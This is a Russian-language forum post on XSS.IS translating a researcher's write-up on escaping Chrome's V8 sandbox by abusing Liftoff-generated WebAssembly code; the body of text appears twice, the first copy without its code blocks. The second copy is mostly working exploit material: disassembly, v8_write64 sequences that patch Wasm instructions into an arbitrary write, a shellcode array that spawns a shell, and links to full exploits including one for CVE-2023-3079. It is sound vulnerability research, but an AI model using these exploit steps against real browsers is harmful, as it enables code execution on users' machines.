D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Это исследование было опубликовано во время H2HC 2023! Большое спасибо @bsdaemon, @filipebalestra , @gabrielnb и всей команде за создание и поддержку этого невероятного мероприятия!
Chrome внедряет новые меры по защите последствий, чтобы сделать невозможным или, по крайней мере, затруднить использование версии 8, поскольку сложность реализации самой современной спецификации ECMAScript и поддержание производительности на высоком уровне является очень сложной задачей и огромной поверхностью атаки. Учитывая это, был разработан проект «V8 Sandbox».
Эта песочница немного отличается от обычных. Для v8 не существует двух отдельных процессов или ограничений мощности; конструкция песочницы основана на изоляции кучи и защите от повреждения. По сути, v8 выделяет область памяти, так называемую «песочницу V8», и помещает в нее все объекты JSObject. То есть сами все объекты JS. Важным моментом является удаление всех 64-битных необработанных указателей из песочницы и замена их смещениями (от 32 до 40 бит) или индексами сторонних таблиц (вне кучи). Таким образом, при обнаружении ошибки вы ограничиваетесь повреждением данных внутри песочницы, что приводит не к чему иному, как к сбою.
Мы видим, что для доступа к ArrayBuffer, мы используем 40-битное смещение. Следовательно, если такой адрес удастся повредить, то будет невозможно выйти из песочницы, например, для записи на страницу Wasm RWX. Аналогично, для доступа к внешним объектам, таким как DOM, будет использоваться индекс (0, 1, 2, 3…), и то же самое произойдет с Code Pointers. Поскольку у нас нет смещения указателя функции, возможность выполнения кода с ней JIT spray также аннулируется — метод, при котором JIT используется для создания определенных mov инструкций, а затем смещает указатель точки входа для выполнения шелл-кода.
Глядя на эту обширную диаграмму, она кажется довольно пугающей.
Liftoff
Liftoff — это компилятор WebAssembly v8, целью которого является максимально быстрая генерация относительной сборки кода Wasm. Если в дальнейшем потребуется оптимизация, код будет оптимизирован TurboFan. Что интересно, так это некоторые коды операций, сгенерированные Liftoff. Мы можем использовать следующий код Wasm и увидеть скомпилированный результат:
Код: Скопировать в буфер обмена
Код: Скопировать в буфер обмена
В середине функции мы видим две очень своеобразные инструкции:
Код: Скопировать в буфер обмена
Если мы воспользуемся отладчиком , мы увидим, что rsi это указатель на объект WasmInstance, который находится внутри песочницы V8:
Хм, интересно. Давайте воспользуемся другим кодом, чтобы увидеть другую ситуацию:
Код: Скопировать в буфер обмена
Код: Скопировать в буфер обмена
В середине функции мы видим следующие инструкции:
Код: Скопировать в буфер обмена
Мы можем проанализировать в компиляторе код, отвечающий за генерацию этих фрагментов кода, и понять, в чем именно разница между этими двумя доступами к памяти:
Код: Скопировать в буфер обмена
Код: Скопировать в буфер обмена
В первом доступе ([1]) сборка была сгенерирована функцией CheckTierUp([3]), которая извлекает этот адрес с помощью Operand{instance, kArrayOffset}, скомпилированном в mov r10, [instance+kArrayOffset], а во втором фрагменте кода ([2]) функция DecodeSandboxedPointer сгенерировала этот доступ, выполнив правильные shift и add([4]). Другими словами, мы просто доверяем указателю из песочницы и вычитаем budget_used.
Если вы помните, что страницы WebAssembly — это RWX, вы можете заметить кое-что интересное: у нас есть шеллкодинг CTF!
Если мы запишем адрес инструкции shr rcx, 24 по адресу [rsi+0x77], мы сможем вычесть 0x18 откуда-нибудь из опкода. Давайте посмотрим, какие инструкции мы можем создать с помощью этого:
Код: Скопировать в буфер обмена
Круто! Мы нашли кое-что очень полезное! Мы можем заменить shr rcx, 0x18 инструкцию на rcl rcx, 0x18, которая просто «поворачивает» значение. Этого кажется достаточным, чтобы обойти сдвиг и использовать 64-битные адреса. Таким образом, мы можем просто использовать эту функцию как «записать куда угодно» и скопировать шеллкод в какую-нибудь функцию Wasm.
Эксплойты
Давайте проверим нашу теорию! Мы можем сделать это двумя способами: либо с помощью некоторых последних CVE, либо с помощью API повреждения памяти (странно, что они существуют, но их целью является именно тестирование таких вещей, как песочница). Мы можем активировать его с помощью флага v8_expose_memory_corruption_api=true в args.gn файле. В этой статье мы проверим оба подхода.
CVE-2023-3079
Эксплойт на основе: https://github.com/mistymntncop/CVE-2023-3079.
Это уязвимость, из-за которой мы сливаем TheHole и вызываем путаницу типов. Я не буду вдаваться в подробности, поскольку это не является целью данной статьи, но если вы хотите получить более подробное представление об ошибке, обратитесь к исходному эксплойту здесь. - (https://github.com/mistymntncop/CVE-2023-3079/blob/main/exploit.js)
Давайте повторим тот же процесс и посмотрим сгенерированный код:
Код: Скопировать в буфер обмена
Код: Скопировать в буфер обмена
Во время тестов я не смог найти способ использовать это значение 0x1b для создания других полезных кодов операций, поэтому у меня возникла другая идея. Значение subl меняется в зависимости от версии v8 и взаимодействия кода со стеком. Цель состоит в том, чтобы сгенерировать две функции «nop», одна с более высоким значением, budget_used чем другая, и использовать первую функцию для вычитания subl значения из второй. Чтобы проиллюстрировать это лучше:
Код: Скопировать в буфер обмена
Код: Скопировать в буфер обмена
И в эксплойте мы вычтем 0x1bиз 0x35:
Код: Скопировать в буфер обмена
И после этого мы можем более уверенно вычитать значения. Давайте создадим еще две функции в WebAssembly: arb_write, из которой мы удалим проверки целостности, и shell, «nop», куда мы скопируем наш шеллкод:
Код: Скопировать в буфер обмена
Теперь с помощью нашего subl [arb address], 0x7 заменим некоторые инструкции в arb_write:
Код: Скопировать в буфер обмена
Мы заменили инструкции shrq rcx, 24 на shr r9d, 0x18 и addq rcx, r14 на add eax, eax. Сравнение до/после:
Код: Скопировать в буфер обмена
Код: Скопировать в буфер обмена
Идеально! Наконец, мы можем просто скопировать наш шеллкод и выполнить оболочку:
Код: Скопировать в буфер обмена
Финальный эксплойт
API повреждения памяти
Адаптировать эксплойт с использованием API повреждения памяти не очень сложно. Мы можем создать следующие функции для имитации успешной эксплуатации внутри песочницы v8:
Код: Скопировать в буфер обмена
И чтобы написать эксплойт, нам просто нужно немного отладить, чтобы найти новые смещения и значения, которые нам нужны/могут повредить:
(https://github.com/R3tr074/exploits/blob/master/browser/v8/v8-sandbox-escape/exploit.js)
Переведено специально для XSS.IS
Автор перевода: yashechka
Источник: https://retr0.zip/blog/abusing-Liftoff-assembly-and-efficiently-escaping-from-sbx.html
Chrome внедряет новые меры по защите последствий, чтобы сделать невозможным или, по крайней мере, затруднить использование версии 8, поскольку сложность реализации самой современной спецификации ECMAScript и поддержание производительности на высоком уровне является очень сложной задачей и огромной поверхностью атаки. Учитывая это, был разработан проект «V8 Sandbox».
Эта песочница немного отличается от обычных. Для v8 не существует двух отдельных процессов или ограничений мощности; конструкция песочницы основана на изоляции кучи и защите от повреждения. По сути, v8 выделяет область памяти, так называемую «песочницу V8», и помещает в нее все объекты JSObject. То есть сами все объекты JS. Важным моментом является удаление всех 64-битных необработанных указателей из песочницы и замена их смещениями (от 32 до 40 бит) или индексами сторонних таблиц (вне кучи). Таким образом, при обнаружении ошибки вы ограничиваетесь повреждением данных внутри песочницы, что приводит не к чему иному, как к сбою.
Мы видим, что для доступа к ArrayBuffer, мы используем 40-битное смещение. Следовательно, если такой адрес удастся повредить, то будет невозможно выйти из песочницы, например, для записи на страницу Wasm RWX. Аналогично, для доступа к внешним объектам, таким как DOM, будет использоваться индекс (0, 1, 2, 3…), и то же самое произойдет с Code Pointers. Поскольку у нас нет смещения указателя функции, возможность выполнения кода с ней JIT spray также аннулируется — метод, при котором JIT используется для создания определенных mov инструкций, а затем смещает указатель точки входа для выполнения шелл-кода.
Глядя на эту обширную диаграмму, она кажется довольно пугающей.
Liftoff
Liftoff — это компилятор WebAssembly v8, целью которого является максимально быстрая генерация относительной сборки кода Wasm. Если в дальнейшем потребуется оптимизация, код будет оптимизирован TurboFan. Что интересно, так это некоторые коды операций, сгенерированные Liftoff. Мы можем использовать следующий код Wasm и увидеть скомпилированный результат:
Код: Скопировать в буфер обмена
Код:
;; Literally do nothing
(module
(func (export "nop")
nop
)
)
Код: Скопировать в буфер обмена
Код:
// ./d8 --print-code --allow-natives-syntax --shell exp.js
V8 version 12.1.0 (candidate)
d8> nop()
--- WebAssembly code ---
name: wasm-function[0]
index: 0
kind: wasm function
compiler: Liftoff
Body (size = 128 = 80 + 48 padding)
Instructions (size = 68)
0x3b34546a5c00 0 55 push rbp
0x3b34546a5c01 1 4889e5 REX.W movq rbp,rsp
0x3b34546a5c04 4 6a08 push 0x8
0x3b34546a5c06 6 56 push rsi
0x3b34546a5c07 7 4881ec10000000 REX.W subq rsp,0x10
0x3b34546a5c0e e 493b65a0 REX.W cmpq rsp,[r13-0x60]
0x3b34546a5c12 12 0f8613000000 jna 0x3b34546a5c2b <+0x2b>
0x3b34546a5c18 18 4c8b5677 REX.W movq r10,[rsi+0x77]
0x3b34546a5c1c 1c 41832a18 subl [r10],0x18
0x3b34546a5c20 20 0f8810000000 js 0x3b34546a5c36 <+0x36>
0x3b34546a5c26 26 488be5 REX.W movq rsp,rbp
0x3b34546a5c29 29 5d pop rbp
0x3b34546a5c2a 2a c3 retl
0x3b34546a5c2b 2b e8d0f6ffff call 0x3b34546a5300 (jump table)
0x3b34546a5c30 30 488b75f0 REX.W movq rsi,[rbp-0x10]
0x3b34546a5c34 34 ebe2 jmp 0x3b34546a5c18 <+0x18>
0x3b34546a5c36 36 e825f5ffff call 0x3b34546a5160 (jump table)
0x3b34546a5c3b 3b 488b75f0 REX.W movq rsi,[rbp-0x10]
0x3b34546a5c3f 3f ebe5 jmp 0x3b34546a5c26 <+0x26>
0x3b34546a5c41 41 0f1f00 nop
Source positions:
pc offset position
2b 0 statement
36 2 statement
Safepoints (entries = 1, byte size = 10)
0x3b34546a5c30 30 slots (sp->fp): 00000000
RelocInfo (size = 0)
--- End code ---
В середине функции мы видим две очень своеобразные инструкции:
Код: Скопировать в буфер обмена
Код:
;; [1]
mov r10, [rsi+0x77]
subl [r10], 0x18
Если мы воспользуемся отладчиком , мы увидим, что rsi это указатель на объект WasmInstance, который находится внутри песочницы V8:
Хм, интересно. Давайте воспользуемся другим кодом, чтобы увидеть другую ситуацию:
Код: Скопировать в буфер обмена
Код:
;; Get 2 params, 32bits offset and 64bits to write
(module
(memory 1)
(func (export "write")
(param $offset i32) ;; Offset within memory
(param $value i64) ;; 64-bit integer to write
(i64.store
(local.get $offset) ;; Get the memory offset
(local.get $value) ;; Get the i64 value
)
)
)
Код: Скопировать в буфер обмена
Код:
// ./d8 --print-code --allow-natives-syntax --shell exp.js
V8 version 12.1.0 (candidate)
d8> write(0, 10n)
--- WebAssembly code ---
name: wasm-function[1]
index: 1
kind: wasm function
compiler: Liftoff
Body (size = 128 = 104 + 24 padding)
Instructions (size = 92)
0x2376a15e0b80 0 55 push rbp
0x2376a15e0b81 1 4889e5 REX.W movq rbp,rsp
0x2376a15e0b84 4 6a08 push 0x8
0x2376a15e0b86 6 56 push rsi
0x2376a15e0b87 7 4881ec10000000 REX.W subq rsp,0x10
0x2376a15e0b8e e 493b65a0 REX.W cmpq rsp,[r13-0x60]
0x2376a15e0b92 12 0f8623000000 jna 0x2376a15e0bbb <+0x3b>
0x2376a15e0b98 18 488b4e27 REX.W movq rcx,[rsi+0x27]
0x2376a15e0b9c 1c 48c1e918 REX.W shrq rcx, 24
;; ^ opcode do shr
0x2376a15e0ba0 20 4903ce REX.W addq rcx,r14
0x2376a15e0ba3 23 48891401 REX.W movq [rcx+rax*1],rdx
0x2376a15e0ba7 27 4c8b5677 REX.W movq r10,[rsi+0x77]
0x2376a15e0bab 2b 41836a0427 subl [r10+0x4],0x27
0x2376a15e0bb0 30 0f8814000000 js 0x2376a15e0bca <+0x4a>
0x2376a15e0bb6 36 488be5 REX.W movq rsp,rbp
0x2376a15e0bb9 39 5d pop rbp
0x2376a15e0bba 3a c3 retl
0x2376a15e0bbb 3b 50 push rax
0x2376a15e0bbc 3c 52 push rdx
0x2376a15e0bbd 3d e83ef7ffff call 0x2376a15e0300 (jump table)
0x2376a15e0bc2 42 5a pop rdx
0x2376a15e0bc3 43 58 pop rax
0x2376a15e0bc4 44 488b75f0 REX.W movq rsi,[rbp-0x10]
0x2376a15e0bc8 48 ebce jmp 0x2376a15e0b98 <+0x18>
0x2376a15e0bca 4a 50 push rax
0x2376a15e0bcb 4b 51 push rcx
0x2376a15e0bcc 4c 52 push rdx
0x2376a15e0bcd 4d e88ef5ffff call 0x2376a15e0160 (jump table)
0x2376a15e0bd2 52 5a pop rdx
0x2376a15e0bd3 53 59 pop rcx
0x2376a15e0bd4 54 58 pop rax
0x2376a15e0bd5 55 488b75f0 REX.W movq rsi,[rbp-0x10]
0x2376a15e0bd9 59 ebdb jmp 0x2376a15e0bb6 <+0x36>
0x2376a15e0bdb 5b 90 nop
Protected instructions:
pc offset
23
Source positions:
pc offset position
23 5 statement
3d 0 statement
4d 8 statement
Safepoints (entries = 1, byte size = 11)
0x2376a15e0ba3 23 slots (sp->fp): 0000000000000000
RelocInfo (size = 0)
--- End code ---
В середине функции мы видим следующие инструкции:
Код: Скопировать в буфер обмена
Код:
;; [2]
mov rcx, [rsi+0x27] ;; address from v8 cage
shr rcx, 24 ;; shift to limit address size
add rcx, r14 ;; add base with sandbox offset
mov [rcx+rax], rdx ;; write we 64bit(rdx) to base(rcx) + input offset(rax)
Мы можем проанализировать в компиляторе код, отвечающий за генерацию этих фрагментов кода, и понять, в чем именно разница между этими двумя доступами к памяти:
Код: Скопировать в буфер обмена
Код:
// https://source.chromium.org/chromium/chromium/src/+/main:v8/src/wasm/baseline/x64/liftoff-assembler-x64-inl.h;l=323-340;drc=c2783fca4a60fb1ca2cd3b05bc7676396905f8f9
void LiftoffAssembler::CheckTierUp(int declared_func_index, int budget_used,
Label* ool_label,
const FreezeCacheState& frozen) {
Register instance = cache_state_.cached_instance;
if (instance == no_reg) {
instance = kScratchRegister;
LoadInstanceFromFrame(instance);
}
Register budget_array = kScratchRegister; // Overwriting {instance}.
constexpr int kArrayOffset = wasm::ObjectAccess::ToTagged(
WasmInstanceObject::kTieringBudgetArrayOffset);
movq(budget_array, Operand{instance, kArrayOffset});
// [3]
int offset = kInt32Size * declared_func_index;
subl(Operand{budget_array, offset}, Immediate(budget_used));
j(negative, ool_label);
}
Код: Скопировать в буфер обмена
Код:
// https://source.chromium.org/chromium/chromium/src/+/main:v8/src/codegen/x64/macro-assembler-x64.cc;l=449-457;drc=8de6dcc377690a0ea0fd95ba6bbef802f55da683
void MacroAssembler::DecodeSandboxedPointer(Register value) {
ASM_CODE_COMMENT(this);
#ifdef V8_ENABLE_SANDBOX
// [4]
shrq(value, Immediate(kSandboxedPointerShift));
addq(value, kPtrComprCageBaseRegister);
#else
UNREACHABLE();
#endif
}
В первом доступе ([1]) сборка была сгенерирована функцией CheckTierUp([3]), которая извлекает этот адрес с помощью Operand{instance, kArrayOffset}, скомпилированном в mov r10, [instance+kArrayOffset], а во втором фрагменте кода ([2]) функция DecodeSandboxedPointer сгенерировала этот доступ, выполнив правильные shift и add([4]). Другими словами, мы просто доверяем указателю из песочницы и вычитаем budget_used.
Если вы помните, что страницы WebAssembly — это RWX, вы можете заметить кое-что интересное: у нас есть шеллкодинг CTF!
Если мы запишем адрес инструкции shr rcx, 24 по адресу [rsi+0x77], мы сможем вычесть 0x18 откуда-нибудь из опкода. Давайте посмотрим, какие инструкции мы можем создать с помощью этого:
Код: Скопировать в буфер обмена
Код:
r3tr0@pwn:~$ rasm2 -d 48c1e918
shr rcx, 0x18
r3tr0@pwn:~$ rasm2 -d 30c1e918 # 0x48-0x18=0x30
xor cl, al
invalid
invalid
r3tr0@pwn:~$ rasm2 -d 48a9e918 # 0xc1-0x18=0xa9
invalid
invalid
invalid
invalid
r3tr0@pwn:~$ rasm2 -d 48c1d118 # 0xe9-0x18=0xd1
rcl rcx, 0x18
Круто! Мы нашли кое-что очень полезное! Мы можем заменить shr rcx, 0x18 инструкцию на rcl rcx, 0x18, которая просто «поворачивает» значение. Этого кажется достаточным, чтобы обойти сдвиг и использовать 64-битные адреса. Таким образом, мы можем просто использовать эту функцию как «записать куда угодно» и скопировать шеллкод в какую-нибудь функцию Wasm.
Эксплойты
Давайте проверим нашу теорию! Мы можем сделать это двумя способами: либо с помощью некоторых последних CVE, либо с помощью API повреждения памяти (странно, что они существуют, но их целью является именно тестирование таких вещей, как песочница). Мы можем активировать его с помощью флага v8_expose_memory_corruption_api=true в args.gn файле. В этой статье мы проверим оба подхода.
CVE-2023-3079
Эксплойт на основе: https://github.com/mistymntncop/CVE-2023-3079.
Это уязвимость, из-за которой мы сливаем TheHole и вызываем путаницу типов. Я не буду вдаваться в подробности, поскольку это не является целью данной статьи, но если вы хотите получить более подробное представление об ошибке, обратитесь к исходному эксплойту здесь. - (https://github.com/mistymntncop/CVE-2023-3079/blob/main/exploit.js)
Давайте повторим тот же процесс и посмотрим сгенерированный код:
Код: Скопировать в буфер обмена
Код:
(module
(func $nop (export "nop")
nop
)
)
Код: Скопировать в буфер обмена
Код:
--- WebAssembly code ---
name: wasm-function[0]
index: 0
kind: wasm function
compiler: Liftoff
Body (size = 128 = 88 + 40 padding)
Instructions (size = 76)
0x1c6675a9740 0 55 push rbp
0x1c6675a9741 1 4889e5 REX.W movq rbp,rsp
0x1c6675a9744 4 6a08 push 0x8
0x1c6675a9746 6 56 push rsi
0x1c6675a9747 7 4881ec10000000 REX.W subq rsp,0x10
0x1c6675a974e e 488b462f REX.W movq rax,[rsi+0x2f]
0x1c6675a9752 12 483b20 REX.W cmpq rsp,[rax]
0x1c6675a9755 15 0f8619000000 jna 0x1c6675a9774 <+0x34>
0x1c6675a975b 1b 488b868f000000 REX.W movq rax,[rsi+0x8f]
0x1c6675a9762 22 8b08 movl rcx,[rax]
0x1c6675a9764 24 83e91b subl rcx,0x1b
0x1c6675a9767 27 0f8812000000 js 0x1c6675a977f <+0x3f>
0x1c6675a976d 2d 8908 movl [rax],rcx
0x1c6675a976f 2f 488be5 REX.W movq rsp,rbp
0x1c6675a9772 32 5d pop rbp
0x1c6675a9773 33 c3 retl
0x1c6675a9774 34 e867fbffff call 0x1c6675a92e0 (jump table)
0x1c6675a9779 39 488b75f0 REX.W movq rsi,[rbp-0x10]
0x1c6675a977d 3d ebdc jmp 0x1c6675a975b <+0x1b>
0x1c6675a977f 3f e8dcf9ffff call 0x1c6675a9160 (jump table)
0x1c6675a9784 44 488b75f0 REX.W movq rsi,[rbp-0x10]
0x1c6675a9788 48 ebe5 jmp 0x1c6675a976f <+0x2f>
0x1c6675a978a 4a 6690 nop
Source positions:
pc offset position
34 0 statement
3f 2 statement
Safepoints (entries = 1, byte size = 10)
0x1c6675a9779 39 slots (sp->fp): 00000000
RelocInfo (size = 0)
--- End code ---
Во время тестов я не смог найти способ использовать это значение 0x1b для создания других полезных кодов операций, поэтому у меня возникла другая идея. Значение subl меняется в зависимости от версии v8 и взаимодействия кода со стеком. Цель состоит в том, чтобы сгенерировать две функции «nop», одна с более высоким значением, budget_used чем другая, и использовать первую функцию для вычитания subl значения из второй. Чтобы проиллюстрировать это лучше:
Код: Скопировать в буфер обмена
Код:
(module
(memory 1)
(func $nop (export "nop")
i32.const 1
i32.const 0xdead
i32.store
)
(func (export "nop2")
nop
i32.const 0
i32.const 0xdead
i32.store
i32.const 1
i32.const 0xdead
i32.store
)
)
Код: Скопировать в буфер обмена
Код:
V8 version 11.4.0 (candidate)
d8> nop()
[truncated]
0x1a787102975b 1b 488b868f000000 REX.W movq rax,[rsi+0x8f]
0x1a7871029762 22 8b08 movl rcx,[rax]
0x1a7871029764 24 83e91b subl rcx,0x1b
[truncated]
d8> nop2()
[truncated]
0x1a78710297f5 35 488b868f000000 REX.W movq rax,[rsi+0x8f]
0x1a78710297fc 3c 8b5008 movl rdx,[rax+0x8]
0x1a78710297ff 3f 83ea35 subl rdx,0x35
[truncated]
И в эксплойте мы вычтем 0x1bиз 0x35:
Код: Скопировать в буфер обмена
Код:
v8_write64(wasm_instance_addr + tiering_budget_array_off, sub_instruction_addr);
nop(); // transform "subl rdx,0x35" in "subl rdi,0x7"
И после этого мы можем более уверенно вычитать значения. Давайте создадим еще две функции в WebAssembly: arb_write, из которой мы удалим проверки целостности, и shell, «nop», куда мы скопируем наш шеллкод:
Код: Скопировать в буфер обмена
Код:
(func $main (export "arb_write")
(param $offset i32) ;; Offset within memory
(param $value i64) ;; 64-bit integer to write
(i64.store
(local.get $offset) ;; Get the memory offset
(local.get $value) ;; Get the i64 value
)
)
(func (export "shell")
nop
)
Теперь с помощью нашего subl [arb address], 0x7 заменим некоторые инструкции в arb_write:
Код: Скопировать в буфер обмена
Код:
v8_write64(wasm_instance_addr + tiering_budget_array_off, shr_instruction_addr - 4n);
nop2(); // transform "shrq rcx, 24" in "shr r9d, 0x18"
v8_write64(wasm_instance_addr + tiering_budget_array_off, add_instruction_addr - 4n);
nop2(); // transform "addq rcx,r14" in "add ecx, esi"
v8_write64(wasm_instance_addr + tiering_budget_array_off, add_instruction_addr - 4n + 2n);
nop2(); // transform "add ecx, esi" in "add eax,edi"
v8_write64(wasm_instance_addr + tiering_budget_array_off, add_instruction_addr - 4n + 2n);
nop2(); // transform "add eax,edi" in "add eax, eax"
v8_write64(wasm_instance_addr + tiering_budget_array_off, orig_sub_addr);
Мы заменили инструкции shrq rcx, 24 на shr r9d, 0x18 и addq rcx, r14 на add eax, eax. Сравнение до/после:
Код: Скопировать в буфер обмена
Код:
V8 version 11.4.0 (candidate)
d8> arb_write(0, 10n)
[truncated]
0x1d26426fd81b 1b 488b4e1f REX.W movq rcx,[rsi+0x1f]
0x1d26426fd81f 1f 48c1e918 REX.W shrq rcx, 24
0x1d26426fd823 23 4903ce REX.W addq rcx,r14
0x1d26426fd826 26 48891401 REX.W movq [rcx+rax*1],rdx
0x1d26426fd82a 2a 488b9e8f000000 REX.W movq rbx,[rsi+0x8f]
0x1d26426fd831 31 8b7b08 movl rdi,[rbx+0x8]
0x1d26426fd834 34 83ef2a subl rdi,0x2a
[truncated]
Код: Скопировать в буфер обмена
Код:
pwndbg> x/10i 0x1d26426fd81b
0x1d26426fd81b: mov rcx,QWORD PTR [rsi+0x1f]
0x1d26426fd81f: shr r9d,0x18
0x1d26426fd823: rex.X add eax,eax
0x1d26426fd826: mov QWORD PTR [rcx+rax*1],rdx
0x1d26426fd82a: mov rbx,QWORD PTR [rsi+0x8f]
0x1d26426fd831: mov edi,DWORD PTR [rbx+0x8]
0x1d26426fd834: sub edi,0x2a
[truncated]
Идеально! Наконец, мы можем просто скопировать наш шеллкод и выполнить оболочку:
Код: Скопировать в буфер обмена
Код:
const shellcode = [
0x732f6e69622fb848n, 0x66525f5450990068n, 0x5e8525e54632d68n, 0x68736162000000n, 0xf583b6a5e545756n, 0x5n
];
console.log("[+] Copying shellcode")
v8_write64(wasm_instance_addr + 0x1fn, shellcode_addr);
shellcode.map((code, i) => {
arb_write(i * 4, code);
})
console.log("[+] Poping shell!!!")
shell();
Финальный эксплойт
API повреждения памяти
Адаптировать эксплойт с использованием API повреждения памяти не очень сложно. Мы можем создать следующие функции для имитации успешной эксплуатации внутри песочницы v8:
Код: Скопировать в буфер обмена
Код:
let sandboxMemory = new DataView(new Sandbox.MemoryView(0, 0x100000000));
function addrOf(obj) {
return Sandbox.getAddressOf(obj);
}
function v8_read64(addr) {
return sandboxMemory.getBigUint64(Number(addr), true);
}
function v8_write64(addr, val) {
return sandboxMemory.setBigInt64(Number(addr), val, true);
}
И чтобы написать эксплойт, нам просто нужно немного отладить, чтобы найти новые смещения и значения, которые нам нужны/могут повредить:
(https://github.com/R3tr074/exploits/blob/master/browser/v8/v8-sandbox-escape/exploit.js)
Переведено специально для XSS.IS
Автор перевода: yashechka
Источник: https://retr0.zip/blog/abusing-Liftoff-assembly-and-efficiently-escaping-from-sbx.html